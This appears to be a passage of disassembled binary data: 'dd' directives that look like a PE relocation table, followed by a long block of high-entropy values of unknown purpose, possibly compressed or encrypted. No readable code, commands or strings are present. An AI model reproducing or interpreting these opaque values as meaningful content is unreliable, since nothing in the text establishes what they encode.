		dd 36C43650h, 36F536CDh, 374E36FEh, 37D1378Bh, 3832380Dh
		dd 38483842h, 385A3853h, 386A3865h, 389B388Dh, 38C538AEh
		dd 398238FAh, 3D8E3D7Bh, 3E0D3DF6h, 3E433E28h, 3E783E5Eh
		dd 3EA43E8Dh, 3ED63EC3h, 3F4D3EE6h, 3F733F55h, 3FA43F97h
		dd 0E000h, 3Ch,	30CD30BAh, 31513145h, 31933181h, 31D431A4h
		dd 324D31E6h, 32733255h, 32A43297h, 34753470h, 37B13607h
		dd 386B37C6h, 387E3879h, 3C02390Eh, 3EF33E99h, 0F000h
		dd 18h,	32023000h, 34983493h, 387A3672h, 3CE8392Dh, 10000h
		dd 44h,	33143307h, 33313329h, 3356333Bh, 3386335Eh, 33A1338Ch
		dd 33CD33AEh, 33F133E4h, 36B336ABh, 3898383Ch, 38E738B2h
		dd 3970391Ch, 3B1E3A9Bh, 3EEC3BCCh, 3F003EF6h, 3F0Ah, 11000h
		dd 210h, 304F303Eh, 30793064h, 30963090h, 30A2309Ch, 316C3164h
		dd 317E3175h, 318F3189h, 31A33195h, 31BC31B4h, 31C831C2h
		dd 31E731D6h, 31F531EFh, 320931FBh, 3222321Ah, 322E3228h
		dd 324D323Ch, 325B3255h, 326F3261h, 32883280h, 3294328Eh
		dd 32B332A2h, 32C132BBh, 32D532C7h, 32EE32E6h, 32FA32F4h
		dd 33193308h, 33273321h, 333B332Dh, 3354334Ch, 3360335Ah
		dd 337F336Eh, 338D3387h, 33A13393h, 33BA33B2h, 33C633C0h
		dd 33E533D4h, 33F333EDh, 340733F9h, 34203418h, 342C3426h
		dd 344B343Ah, 34593453h, 346D345Fh, 3486347Eh, 3492348Ch
		dd 34B134A0h, 34BF34B9h, 34D334C5h, 34F134E9h, 34FD34F7h
		dd 3521350Bh, 352F3529h, 35433535h, 35613559h, 356D3567h
		dd 3591357Bh, 359F3599h, 35B335A5h, 35D135C9h, 35DD35D7h
		dd 360135EBh, 360F3609h, 36233615h, 36413639h, 364D3647h
		dd 3671365Bh, 367F3679h, 36933685h, 36B136A9h, 36BD36B7h
		dd 36E136CBh, 36EF36E9h, 370336F5h, 37213719h, 372D3727h
		dd 3751373Bh, 375F3759h, 37733765h, 37913789h, 379D3797h
		dd 37C137ABh, 37CF37C9h, 37E337D5h, 380137F9h, 380D3807h
		dd 3831381Bh, 383F3839h, 38533845h, 38713869h, 387D3877h
		dd 38A1388Bh, 38AF38A9h, 38C338B5h, 38E138D9h, 38ED38E7h
		dd 391138FBh, 391F3919h, 39333925h, 39513949h, 395D3957h
		dd 3981396Bh, 398F3989h, 39A33995h, 39C139B9h, 39CD39C7h
		dd 39F139DBh, 39FF39F9h, 3A133A05h, 3A313A29h, 3A3D3A37h
		dd 3A613A4Bh, 3A6F3A69h, 3A833A75h, 3AA13A99h, 3AAD3AA7h
		dd 3AD13ABBh, 3ADF3AD9h, 3AF33AE5h, 3B113B09h, 3B1D3B17h
		dd 3B413B2Bh, 3B4F3B49h, 3B633B55h, 3B813B79h, 3B8D3B87h
		dd 3BB13B9Bh, 3BC33BBAh, 3BD53BCCh, 3BE23BDBh, 3BF03BE9h
		dd 12000h, 18h,	300A3004h, 30163010h, 3022301Ch, 302E3028h
		dd 14000h, 0E8h, 31713161h, 31953191h, 319D3199h, 31A531A1h
		dd 31AD31A9h, 31B531B1h, 31BD31B9h, 31C531C1h, 31CD31C9h
		dd 31D531D1h, 31DD31D9h, 31E531E1h, 31ED31E9h, 31F531F1h
		dd 31FD31F9h, 32053201h, 320D3209h, 32153211h, 321D3219h
		dd 32253221h, 322D3229h, 32353231h, 323D3239h, 32453241h
		dd 324D3249h, 32553251h, 325D3259h, 32653261h, 326D3269h
		dd 32753271h, 327D3279h, 32853281h, 328D3289h, 32953291h
		dd 329D3299h, 32A532A1h, 32AD32A9h, 32B532B1h, 32BD32B9h
		dd 32C532C1h, 32CD32C9h, 32D532D1h, 32DD32D9h, 37483744h
		dd 3750374Ch, 381B3754h, 3823381Fh, 382B3827h, 3833382Fh
		dd 39C73837h, 39CF39CBh, 39D739D3h, 39DF39DBh, 39E739E3h
		dd 39EF39EBh, 39F3h, 18000h, 84h, 35473543h, 354F354Bh
		dd 35573553h, 355F355Bh, 35673563h, 357B356Bh, 3583357Fh
		dd 358B3587h, 3593358Fh, 359B3597h, 35A3359Fh, 35AB35A7h
		dd 35B335AFh, 35BB35B7h, 35CF35CBh, 35D735D3h, 35DF35DBh
		dd 384B35E3h, 3853384Fh, 385B3857h, 3863385Fh, 386B3867h
		dd 3873386Fh, 387B3877h, 3883387Fh, 388B3887h, 3893388Fh
		dd 389B3897h, 38A3389Fh, 38AB38A7h, 38AFh, 19000h, 3Ch
		dd 3DE83DE0h, 3DF43DECh, 3E903E00h, 3E983E94h, 3EB43EB0h
		dd 3EBC3EB8h, 3ED43ED0h, 3EDC3ED8h, 3FDB3EE0h, 3FE33FDFh
		dd 3FEB3FE7h, 3FF33FEFh, 3FF7h,	1A000h,	110h, 3022301Eh
		dd 302A3026h, 3036302Eh, 303E303Ah, 30463042h, 3052304Eh
		dd 305A3056h, 3066305Eh, 306E306Ah, 30763072h, 3082307Eh
		dd 308A3086h, 3096308Eh, 309E309Ah, 30A630A2h, 30B230AEh
		dd 30BA30B6h, 30C630BEh, 30CE30CAh, 30D630D2h, 30E230DEh
		dd 30EA30E6h, 30F630EEh, 30FE30FAh, 31063102h, 3112310Eh
		dd 311A3116h, 3126311Eh, 312E312Ah, 31363132h, 3142313Eh
		dd 31B931B5h, 31C131BDh, 31D031C5h, 31DC31D8h, 31E831E4h
		dd 31F431F0h, 320031FCh, 320C3208h, 32183214h, 32243220h
		dd 3238322Ch, 3240323Ch, 32C432C0h, 330032FCh, 33083304h
		dd 3320330Ch, 33283324h, 3330332Ch, 33503334h, 33583354h
		dd 3360335Ch, 33683364h, 3370336Ch, 33943390h, 339C3398h
		dd 33C033A0h, 33C833C4h, 33F033CCh, 33F833F4h, 343033FCh
		dd 34383434h, 3440343Ch, 367F3444h, 36873683h, 368Bh, 26h dup(0)
		dd 89E9272Eh, 7268C35Eh, 55448846h, 38E0E277h, 4D8EA8D8h
		dd 43239604h, 838D28BDh, 338FA971h, 2E88D979h, 0ACE28691h
		dd 8ED18738h, 2EF44A15h, 238DAE59h, 88D682A8h, 0E2B9BC0Ah
		dd 420D389Eh, 0F6C16E8Eh, 2FB84723h, 0DD06DF88h, 393834E2h
		dd 62358E23h, 0C46A23CCh, 12CF88F1h, 38DCE2C1h,	228E85EBh
		dd 0C9238F9Eh, 0C08871A1h, 9BE290F0h, 8EAA5338h, 2301F189h
		dd 888BE1D4h, 0E24E8CEDh, 8E6F38ABh, 0EF76BCD8h, 0D0E73ECDh
		dd 0E2E6540Dh, 0DBF23852h, 927BBB89h, 0B7B6C383h, 69CA2F88h
		dd 0D938A9E2h, 0CD78E39h, 236123D3h, 0AD1E88A7h, 38B4E2A2h
		dd 50A7C399h, 407307Ch,	0F6130705h, 0C271B77Fh,	16C42746h
		dd 1CAC71A7h, 47D07625h, 11501386h, 0C4DCF756h,	84711A55h
		dd 0E151091Ch, 7A25BE47h, 13EF9111h, 0D98412C7h, 901204A9h
		dd 71EA8167h, 0D2D260B3h, 574E862h, 98C6C004h, 243AB0FDh
		dd 9C6A365h, 3A8276DFh,	32C09A08h, 76B09202h, 5A80A024h
		dd 82786609h, 41E4DD4Eh, 60D6B08Ah, 0B0D1BF02h,	3836283Ah
		dd 0D542E96h, 0C6430A3Ah, 356209D6h, 98BE6202h,	181EAE40h
		dd 24262AB0h, 0D70B06F7h, 773A02ECh, 0BD26406Ch, 2E62B843h
		dd 9167532h, 228237D4h,	0FAC0269Bh, 32B0FA70h, 7213F926h
		dd 294B109h, 40485ABEh,	0B0F27ABAh, 0D0E4240Eh,	8B470BEEh
		dd 303C2A82h, 84A5CAC0h, 4124A6B0h, 6092E54h, 0C5F602DFh
		dd 45C24023h, 2616B819h, 9965BA3h, 5A0B3D68h, 0AA02DF0Bh
		dd 2AE0F321h, 1290AE31h, 0EEA23E26h, 2821609h, 606395BAh
		dd 0B0015B26h, 834D2442h, 2E910986h, 0D9B55283h, 511FA2CFh
		dd 9B534A40h, 632CAAB0h, 3B095E7Ch, 3F6A82A6h, 0D6CA40EBh
		dd 25F2A0A5h, 2C0E90BEh, 0B2E16A7h, 92040C0Fh, 0B2D4C735h
		dd 76436123h, 0C6C0C0D2h, 32B08CAFh, 0FA3A8024h, 82F5920Bh
		dd 0E073812Ah, 902C273Ah, 25762632h, 0BE709FAh,	0BB7B6E02h
		dd 4EE97260h, 0F12E9690h, 9F09FE89h, 0A9F6836Bh, 0C4B2D753h
		dd 996A406Ah, 7BE2B8B4h, 0E1838097h, 0E6171A94h, 0BDC83E03h
		dd 450E8998h, 97309261h, 4CC9E2B3h, 2F164EF4h, 0CB5A05B6h
		dd 0FFC28166h, 0EA1E70CCh, 12C69558h, 7E0403EDh, 0DA8156F7h
		dd 4660D4E1h, 0AE1C481Bh, 31EAD12h, 0E2D70CBAh,	60FB2B89h
		dd 0C34C1DEAh, 8E1917BAh, 0B5C2BA04h, 0E9896AC1h, 58121A30h
		dd 7E0EEACFh, 20257DBFh, 64C681BAh, 840E70EAh, 13227758h
		dd 0AA05396Dh, 6A81AF6Ah, 2E3033D1h, 0AED0B7A1h, 0BB62CE1Ch
		dd 5EEC375Eh, 8281FB0Bh, 40793D02h, 0B00951D2h,	0ADDC2E3Ah
		dd 242D0B7Eh, 0CDA44602h, 0F99D1EC0h, 0EE268271h, 860BFAD8h
		dd 0AE6202E5h, 0CD0AE0C5h, 26B698B9h, 0BC24D04h, 4A824455h
		dd 0E60080Ah, 46B88613h, 0F6606FA2h, 4080A1D3h,	263EB81Dh
		dd 772AA34h, 12B0ED8Ch,	0B6E206B3h, 88C24377h, 0E23BB22Ah
		dd 4ED25C52h, 2410B0Eh,	0D87B8B23h, 70A08889h, 11584FBAh
		dd 1E67249Ah, 0C2469D38h, 0B8C0BBBBh, 90B497FCh, 2028B604h
		dd 0F67F6AC0h, 5C78E248h, 2E0EBE60h, 7254CFFh, 4B7E8096h
		dd 0C7E22B5Ch, 16BEB14Ch, 203AB6Fh, 89F59E0Dh, 0BA309CBBh
		dd 4A5238F2h, 51BF397h,	0C15FA622h, 609359FAh, 0A5CBC1Eh
		dd 823A264Ah, 8919CB9h,	0BD85FE4Eh, 8249018Bh, 0C0EE6122h
		dd 0B02D7CDAh, 4FB22ED2h, 8F420756h, 3BDB1272h,	47B83AC0h
		dd 481CBF71h, 2C47AE87h, 0E311C06Dh, 57C43C46h,	2C76B8D6h
		dd 967A3E85h, 7DBE0569h, 9466C164h, 49A2602Ah, 96C6CE38h
		dd 1203CB17h, 89BD2FCAh, 0E670FCC3h, 0DE97585Ch, 5055E17h
		dd 817AD0E2h, 0E7AC8796h, 647F8ED0h, 0D55CBAE2h, 1AA80E76h
		dd 4BB72326h, 0EB989BEh, 3860CE70h, 0F88ED5A7h,	2223365Ah
		dd 11881B28h, 0DEE27514h, 17CA3F58h, 0A9052979h, 0FA8188AAh
		dd 0D9EB3C33h, 66604C5Fh, 0CA0238B6h, 35B8968Eh, 0C4DA5823h
		dd 43B09C88h, 1758FCE2h, 551A173Eh, 1FF68603h, 8A1C8859h
		dd 5C38E2B2h, 0AC0E527Dh, 1825CF57h, 0F466C0C7h, 69E2538Dh
		dd 0B7E63ABAh, 0F51CE2B8h, 5647ADC4h, 0DA11E39Fh, 0D5C4EA72h
		dd 2C16B87Eh, 0BE6154Ah, 0CA25229Eh, 4E96C012h,	61E35F58h
		dd 0E5EE6067h, 170E995Ch, 1E053439h, 0B2806EC1h, 0E2325044h
		dd 62DE5C5Dh, 3687217h,	0CD6526C6h, 0DABC9388h,	0DB3803E2h
		dd 0F8C68EBAh, 0C8FA259Eh, 0A8824EC0h, 38CFE26Eh, 5097702Bh
		dd 0EB320540h, 75A6C0DCh, 8AE293FEh, 8EDF3238h,	2329A48Dh
		dd 881CCA4Ch, 0E2D71014h, 0B4213873h, 0D4F0CC8Eh, 8AD30923h
		dd 515DF38Fh, 390FE289h, 8E193848h, 231A6F9Ah, 88949DE0h
		dd 0E2C7368Fh, 0C94238E6h, 0D24AEC8Eh, 7F5EFD23h, 70C1AB89h
		dd 0E00ED8CAh, 4375BC32h, 90F3EC21h, 0E4C62043h, 0F4B339C9h
		dd 0DBDA030Eh, 7B028B43h, 0FBE22B90h, 9E39FAE4h, 0C9EC0EC8h
		dd 0D409434Ah, 186B90D3h, 769FE4E6h, 390EE41Eh,	380E4598h
		dd 0D2437DB2h, 0B790E8A6h, 57E44B26h, 0ED63C39h, 4332938Ah
		dd 90D882EEh, 0E4FD5298h, 377B31D4h, 0C871BB04h, 0F1725B97h
		dd 0E147831Ch, 30243C87h, 0F51E221h, 72BAC6C8h,	4AF31CF8h
		dd 0BF48871Bh, 0D702187h, 0B0B3C8FAh, 0DE1C0672h, 0FD873F75h
		dd 20215ED2h, 31C8BA7Dh, 1CAE7266h, 845B3AA3h, 0F28A591Ch
		dd 0CD930E00h, 1AE043BCh, 0AE2C909Dh, 39ABE46Dh, 0C70EC17Fh
		dd 0B943B12Bh, 0A0900EBEh, 10E480E0h, 0E5D8A39h, 43D23B52h
		dd 90D564BAh, 0E4A0D888h, 84E739A5h, 75FE80Eh, 141B1143h
		dd 0B52CC290h, 0FC39B4E4h, 31271E90h, 80650E79h, 732A42A3h
		dd 0EBFF70B2h, 284C07CAh, 72A0541Ch, 0CA748192h, 1C283607h
		dd 3872A051h, 7CAB081h,	5A1C28BDh, 81FC79A0h, 6207CA60h
		dd 0A0961C28h, 42816C72h, 28F707CAh, 72A0101Ch,	0CA28817Ch
		dd 1C282707h, 1372A08Ch, 7CA9581h, 0C71C289Ch, 812472A0h
		dd 3B07CA46h, 0A0701C28h, 0E381CA72h, 288507CAh, 72A0CB1Ch
		dd 0CAD08111h, 1C289307h, 0A672A0B8h, 7E68381h,	0FF1C2820h
		dd 819F72A0h, 0C307CA77h, 0A0CC1C28h, 6F810372h, 280807CAh
		dd 72A0BF1Ch, 0CAE78140h, 1C282B07h, 7972A0E2h,	7CA0C81h
		dd 821C28AAh, 814172A0h, 0EA07CA3Ah, 0A0B91C28h, 9A81E472h
		dd 28A407CAh, 72A0971Ch, 0CADA817Eh, 1C287A07h,	6672A017h
		dd 7CA9481h, 1D1C28A1h,	813D72A0h, 0DE07CAF0h, 0A0B31C28h
		dd 72810B72h, 28A707CAh, 72A01C1Ch, 0CAD181EFh,	1C285307h
		dd 8F72A03Eh, 7CA3381h,	5F1C2826h, 81EC72A0h, 2A07CA76h
		dd 0A0491C28h, 8804CAF3h, 2140795Dh, 94C403E5h,	39501A0Eh
		dd 0E5D940EBh, 0E94C503h, 9939B039h, 3E5CD40h, 310E94ADh
		dd 408B3950h, 1803E501h, 50230E94h, 1F40DD39h, 944E03E5h
		dd 39502D0Eh, 0E54840F9h, 0E944F03h, 653950F2h,	3E58E40h
		dd 5C0F9478h, 405839B0h, 8D03E519h, 50E50E94h, 57409839h
		dd 946703E5h, 0F2BA7F08h, 7CA6481h, 631C28AFh, 81B672A0h
		dd 0F507CAFEh, 0A0B71C28h, 0A5813C72h, 28CE07CAh, 72E0E91Dh
		dd 0CA448168h, 1C28E007h, 4372A04Dh, 0ECA6981h,	2E72A0DCh
		dd 7CAAC81h, 591C2815h,	81A872A0h, 9E07CA0Ah, 0A06E1C28h
		dd 0DF814772h, 283407CAh, 72A0351Ch, 0CACF816Ah, 1C28DC07h
		dd 0C972A022h, 7CAC081h, 891C289Bh, 81D472A0h, 0AB07CAEDh
		dd 60121D28h, 0D07EEEDh, 0A0521C28h, 281BB72h, 282F07CAh
		dd 72A0A91Ch, 0CA6181D7h
		dd 1C281E07h, 5072A0B4h, 7CA0481h, 0C21C58F6h, 811672A0h
		dd 8607CA25h, 0A0561C28h, 9815572h, 28BE07CAh, 0D99B911Ch
		dd 43909A86h, 43719A13h, 0C3D29AEBh, 73059BD3h,	0C7985876h
		dd 3B655873h, 0C7DF4873h, 3B084C73h, 33025873h,	77A05873h
		dd 5B664873h, 4FDD4C73h, 8BB04873h, 3BF4C73h, 3B365873h
		dd 97545173h, 3B7143CDh, 0D74762CDh, 6387BE34h,	0AF871E34h
		dd 2B872435h, 7C7D734h,	3B877735h, 2787BD34h, 63C73235h
		dd 17C7D435h, 23C79B34h, 0FB877035h, 3387F935h,	73C7B134h
		dd 0BF875A34h, 0BB877A34h, 0F87E435h, 0EF854734h, 2B872C85h
		dd 0CB87A535h, 0A7874135h, 2F870634h, 0F787C534h, 0C3874534h
		dd 17C7A335h, 97C76834h, 5B871534h, 0ABC72135h,	2BC73135h
		dd 13873E34h, 0EFC71634h, 0BB879534h, 27C75B34h, 43874D35h
		dd 87879134h, 53C7B534h, 0D7871F35h, 4B875334h,	0AB876335h
		dd 5F873B35h, 6BC73F34h, 0CB87D634h, 0F31C2535h, 0F1CA7D2h
		dd 2F1C0FD6h, 931C35D6h, 371C23D2h, 797748FBh, 73C7AF58h
		dd 73338058h, 73FB9248h, 732B815Ch, 733B275Ch, 73337648h
		dd 73FBE74Ch, 736F7B48h, 7373E94Ch, 7397F148h, 73FF9F5Ch
		dd 73F7A94Ch, 73BFC448h, 736B9948h, 73E3975Ch, 6BCC8341h
		dd 5C1873E6h, 1C733FC8h, 0D698450Eh, 0C7931C6Eh, 34B3F4C9h
		dd 354FC72Fh, 355B87CBh, 35C387FFh, 351FC7EAh, 34C787EDh
		dd 347F87F7h, 35DB87E1h, 3447871Bh, 34AF87ADh, 31BB870Ch
		dd 0CDE2FB2Bh, 0CDEB611Dh, 0CDBB3119h, 0CDBB71C2h, 0CD6B3189h
		dd 0CD1B3112h, 0CCEB617Eh, 7D73BA20h, 73C76458h, 730F845Ch
		dd 73236D58h, 73AB6A4Ch, 736BD158h, 732FA14Ch, 739FCE5Ch
		dd 0BB733777h, 735FFB58h, 73033D5Ch, 73D35148h,	733BDC58h
		dd 737F2D5Ch, 7347A458h, 731F9D58h, 82D8EE1Ch, 0FB1C86D3h
		dd 631CAED6h, 0B1CCDD7h, 0B71C04D3h, 0C31C55D3h, 4B1C0AD7h
		dd 0F1C13D3h, 471C30D7h, 0F71CD3D6h, 5C7340D0h,	4C733F34h
		dd 1C73738Ch, 0D7B006B3h, 0C7B71C6Ch, 3173B22Ah, 0CD3BD252h
		dd 0CC4F710Bh, 2737B8Bh, 0D8A0881Ch, 0BB1C4FD7h, 9B1C67D6h
		dd 571646D3h, 73FDE11Ch, 0FC90B41Ch, 0B71C28D7h, 6B1C7FD3h
		dd 486078C7h, 0BFC72E35h, 4C960731h, 7F614BCDh,	73B1C7CCh
		dd 0BF6F4C2Bh, 30D5873h, 9CBB1C73h, 1CF2D3F5h, 1BF3C7BBh
		dd 0C7A6354Ah, 0C7593523h, 87BC35FBh, 0EF3A321Fh, 91400178h
		dd 18540FEh, 40614940h,	2D407CEEh, 424F40B2h, 40DB8F40h
		dd 4740B83Bh, 2C874048h, 40E36D40h, 0D6405746h,	293E4085h
		dd 407D6940h, 2A409464h, 17CE4049h, 40CACB40h, 0FC40C32Fh
		dd 5E97405Ch, 40D00540h, 0AC40877Ah, 0BA7F408Eh, 40A8D540h
		dd 4B40B71Ah, 600E40B9h, 40F8A740h, 2840225Ah, 0DE144011h
		dd 40793F40h, 8840AA29h, 5F3C4033h, 40B64C40h, 0B8409602h
		dd 9CDA4058h, 40FCB040h, 55401A17h, 1C1F40F6h, 40388A40h
		dd 5740AC7Dh, 0F4C74018h, 44698D40h, 0F580B774h, 9F5680C4h
		dd 8072DA80h, 4A807ED5h, 229E8015h, 8012A280h, 0E880584Eh
		dd 99E58007h, 80343980h, 44806EC1h, 0DE5D8050h,	80687280h
		dd 93806526h, 0DB0380BCh, 80F8C680h, 8280C8FAh,	2BCF80A8h
		dd 80405080h, 7580DCEBh, 328A80FEh, 80A48D80h, 1480CA4Ch
		dd 21738010h, 80F0CC80h, 0FA83D309h, 0FE2025Dh,	9A10110Eh
		dd 9DE0106Fh, 10368F10h, 0EC1042E6h, 5EFD104Ah,	10C1AB10h
		dd 8F4EE0D8h, 9ED01610h, 9C3431A3h, 0E40C7210h,	0D9BF0124h
		dd 0ED90A745h, 0FFA89151h, 40D210C3h, 9229083h,	0FB02D2C0h
		dd 2043292Bh, 8D32086h,	24010C2Bh, 50712048h, 929D013h
		dd 325A4801h, 0C9E57D01h, 6BCF569h, 77EF36D3h, 93F5591Ch
		dd 0ED789BF1h, 4D7A98AFh, 3E75DDFDh, 4268C2A6h,	68224827h
		dd 9E345B0Bh, 26345C63h, 190432Ah, 746F6205h, 0C8E6668h
		dd 5672751Ah, 0C7E6D76Fh, 0B72A709Fh, 6C702F52h, 2A445351h
		dd 312E1305h, 7F540B76h, 6269276Fh, 0E34FFDDEh,	0C9797A61h
		dd 12D37567h, 0C9F8E9Ah, 970992DBh, 0A4129D89h,	0BE48B324h
		dd 12BC791h, 6A0C5101h,	334FBD76h, 0DB08A2C4h, 0A1C561C4h
		dd 918A4F2h, 0BF9C07Ch,	0DF9EEB88h, 3E211123h, 8A3052EFh
		dd 246418F7h, 423BE372h, 0F3883078h, 0E718817Eh, 578EEF1Ch
		dd 0DB2B9C2Ah, 4A4B6448h, 0C75B18B9h, 7D56C488h, 0B529780Eh
		dd 0C8B96718h, 0C13CE473h, 6256448Ah, 0A2301195h, 9F7693DEh
		dd 9341B59h, 4714C8FAh,	504B5406h, 4F106761h, 0A1CCF841h
		dd 0FF214520h, 8B73FE42h, 8F92770Ah, 0EF36C6AFh, 25CA7D64h
		dd 0EF325AB3h, 2467095Fh, 94894F6Fh, 0C7A3E283h, 0CC014F0h
		dd 1C10D0CDh, 11CA1018h, 38640C20h, 0A4E49048h,	1AEDF048h
		dd 0C648D617h, 50531148h, 8742918h, 65540894h, 5C91F0E7h
		dd 19D2D40Ah, 0BF3077F4h, 88BEE014h, 2DBFE41Dh,	5DD7154h
		dd 0DB41A01Ah, 0D5407850h, 21423E8h, 81D63958h,	0D0099903h
		dd 351FE451h, 0A08E0B4Eh, 8C61808Ch, 919509C8h,	2EAD22A1h
		dd 0DC90010Bh, 0E31B4087h, 5609C659h, 86C56CEBh, 22303A09h
		dd 2CEF56F0h, 0A6299EC4h, 0D720B160h, 30F50895h, 0E0DD74B2h
		dd 4F726DC6h, 0A58BFC67h, 80CCA0DBh, 9C8AC81h, 4200B8BCh
		dd 0C5890C6Ch, 993011D0h, 0D64F369Ah, 30E15655h, 2444C70Eh
		dd 34567820h, 11DF8B12h, 810A5038h, 7A103056h, 0D2338087h
		dd 540104B2h, 68182414h, 8BC3120Dh, 0B8750AFFh,	91AB100Ah
		dd 0F4147914h, 140D58A5h, 10E0881h, 0C944B0C0h,	68834CB1h
		dd 5CB3DB54h, 0A3ADC7D4h, 2D13101h, 3303E832h, 36047402h
		dd 9E37057Ch, 95269B0h,	34524A4Eh, 0B762C918h, 0C534A154h
		dd 0D2CABF98h, 0BF024885h, 4B0728DBh, 3F4E5245h, 1272EFF6h
		dd 244CB670h, 4601C6Ah,	0C6041F6Fh, 0FF210958h,	25051C20h
		dd 2A8159E3h, 56089108h, 5D0A3864h, 5F08C422h, 23060422h
		dd 0B00B2819h, 1C7B0811h, 0E883E00Ch, 0EE05E00Eh, 28FCE00Fh
		dd 38B41220h, 8E32131Fh, 5922BC09h, 47530723h, 4FFA0419h
		dd 101C8CDAh, 1D04A124h, 0FB209EC0h, 27CDCAC1h,	662263C0h
		dd 293D392Ah, 401B09DEh, 97083C11h, 5A994533h, 0D5C0938h
		dd 0B85D0813h, 859A4D3h, 0B15FF18Eh, 0D0F0811h,	182C1502h
		dd 0C87AE060h, 28B78409h, 6164BEC8h, 7930C169h,	9D76C07Bh
		dd 85EA08C8h, 637C9FC8h, 23308E1h, 80070610h, 3B030201h
		dd 0C8F20605h, 2EB00411h, 0B0281810h, 17205192h, 9F01007h
		dd 0C0B0Ah, 100F0E0Dh, 14131211h, 17161500h, 1B1A1918h
		dd 1E1D041Ch, 0ABA6471Fh, 56092419h, 5F265E12h,	0BF025AA5h
		dd 0D0F7FC45h, 0C3D80962h, 18126875h, 900923AFh, 38E8A2C0h
		dd 2385E0C1h, 0A2C09012h, 0D05714C8h, 0CA36D109h, 8A25F4F8h
		dd 0B8199E0Fh, 25B106DEh, 0AC08112h, 0E044E821h, 1085C828h
		dd 39D8A2F0h, 6D6CBCF7h, 0D6F0605h, 85B10387h, 0C0B60F0Ah
		dd 0CDBE0933h, 94E0CF72h, 24E851D8h, 0FE58107h,	904AC0Ah
		dd 0AC28A444h, 8D5148F3h, 79A28057h, 14364053h,	0C809C08Bh
		dd 0A2B5103h, 0B443321h, 10852328h, 70874385h, 9806668h
		dd 2BA2F06Eh, 88334214h, 0A23510Bh, 0D0148069h,	1018159h
		dd 464B4320h, 0F5314544h, 0F50D79DFh, 0EA134702h, 90029441h
		dd 4D45392Ah, 3C66503Ah, 496D1142h, 0FDCB5014h,	0B36E2039h
		dd 71EE9603h, 0B0303252h
		dd 39310A02h, 3F12AD35h, 0BE552EBBh, 9EDC50ADh,	6B49EED6h
		dd 285D1E43h, 94CF1F7Fh, 19332918h, 0F76E3379h,	39EE96CFh
		dd 0F71609B2h, 0E6DD31FAh, 120E8ABDh, 0CCC7DD61h, 2EBF0234h
		dd 3F02644Dh, 251C4524h, 7FFC9A73h, 45425067h, 5D04005Eh
		dd 2EB8A88h, 9F11C91Ch,	0AD4008E8h, 60294810h, 39C02402h
		dd 212931h, 1091119h, 222A323Ah, 0A121A00h, 2B333B02h
		dd 131B0023h, 343C030Bh, 3F00242Ch, 1F272F37h, 70F17h
		dd 262E363Eh, 60E161Eh,	2D353D05h, 8D801D25h, 3F141C05h
		dd 1107040Ch, 0A701180Bh, 60FB003h, 17320A15h, 0C01A2013h
		dd 1B0771h, 29020D14h, 2F251F34h, 281E3701h, 30212D33h
		dd 38F3042Bh, 2A428122h, 20187032h, 588260ACh, 0C0544008h
		dd 28303840h, 0C218202Ch, 80488821h, 146C3252h,	0C9205884h
		dd 0D9CB64D3h, 4DCF36CDh, 0D36493D1h, 0D732D5D9h, 378E5C68h
		dd 0E70CB728h, 170F9011h, 1230051Ah, 1808F21Fh,	1B20000Eh
		dd 0D130903h, 1600061Eh, 2819040Bh, 103008h, 20401838h
		dd 0F2F0727h, 3F173700h, 2E06261Fh, 1636000Eh, 5251E3Eh
		dd 35000D2Dh, 241D3D15h, 0C2C04h, 1C3C1434h, 0B2B0323h
		dd 3B133300h, 2A02221Bh, 1232000Ah, 1211A3Ah, 310B0929h
		dd 28193911h, 7A30116h,	0D040E05h, 80B3890h, 60A0503h
		dd 0AF09050Ch, 50B34C10h, 28D90224h, 41FE0B1Fh,	74F70828h
		dd 2F1FD44h, 19285EF2h,	0BC054807h, 60B07F3Eh, 0AAE7EF83h
		dd 810E12EBh, 0ED0F0D76h, 18B6E308h, 6A0726CCh,	7A0EB80Ch
		dd 0D2EFED0Ah, 0EB5860Fh, 987C618h, 0FFF5620Bh,	0E4C99DAFh
		dd 1ECD0C08h, 0C7EBD403h, 35FB9DEFh, 1118A204h,	0DC090E5Fh
		dd 2280F688h, 7CDB01F4h, 0D82E6852h, 854E3782h,	3AF85A06h
		dd 0B7BC820Dh, 0E9BEB6F8h, 2FCC103h, 660AA043h,	0EC0DAC9Ah
		dd 3EA524D0h, 0BC03360Fh, 6DFFF328h, 0A8AA2310h, 46D5D63h
		dd 0B7FF2CC1h, 9007860Dh, 0C1B758EDh, 0F6900D38h, 34B0A8A8h
		dd 0D6CF1B5Eh, 4C5A5C6Ch, 5FB4F509h, 68EB1A48h,	1B97CD0Ah
		dd 346D7C06h, 0DECB60B4h, 0B0075525h, 0CC1BEA04h, 0F7FC7FD0h
		dd 9510C044h, 0FED07C83h, 0BE426FA8h, 6016CB2h,	0B8D9C90Dh
		dd 0CBB70388h, 0C17EFD36h, 0EE6920Dh, 0DCAA165Fh, 0B709DA81h
		dd 0B5FAC858h, 8CD0031Ah, 0F30CEFEDh, 6804D743h, 3F81D0EFh
		dd 0E9B83D6Dh, 0F0EEBE0Eh, 0B604EFA1h, 0CC1144E0h, 0A7C0992h
		dd 0F6A6DDAh, 3FBA75DCh, 2E0C2403h, 9BF58020h, 0FE7D0D42h
		dd 5C9CDB0h, 6F1EBCD5h,	5507CF28h, 0BF8741A1h, 3D4556Ch
		dd 622A0B8Ch, 55E1E009h, 6062269Ch, 0BAE0454h, 55605483h
		dd 45BBA301h, 446F654h,	0F20849A8h, 0E07B3A6Fh,	0E03F1CE4h
		dd 53474B49h, 23400E21h, 1142524h, 0CC10F8BBh, 1F0FFC06h
		dd 3A253039h, 3C8B3B85h, 3EA73D91h, 3FE23FD4h, 313A0EE8h
		dd 3B3A5F40h, 3DEF3CC3h, 0EFB3EF4h, 4E103209h, 0CF3C8E28h
		dd 4F570F43h, 0CF758F67h, 0E0CCBFCh, 8E3C4E97h,	0F53CF4Ch
		dd 8F674F5Eh, 0CF7FCF78h, 0CFABCF85h, 0CFBECFB7h, 0CFEACFE3h
		dd 3404C7F6h, 8E404EFEh, 0F56CF47h, 8F754F6Eh, 0CFA0CF93h
		dd 0CFB2CFA7h, 0CFC7CFBBh, 0CFEECFCEh, 0CFF9CFF3h, 3508C3FEh
		dd 0A34E9312h, 0C384B35Bh, 0E39DD394h, 0F3B8F3A6h, 0F3C5F3C0h
		dd 0F3E6F3CBh, 3665F0F6h, 0E89FE47Dh, 0F0F3ECE0h, 3337392Bh
		dd 463B403Ah, 7D3D4C3Ch, 0A63F9A3Eh, 0BE3FB13Fh, 0D23FC93Fh
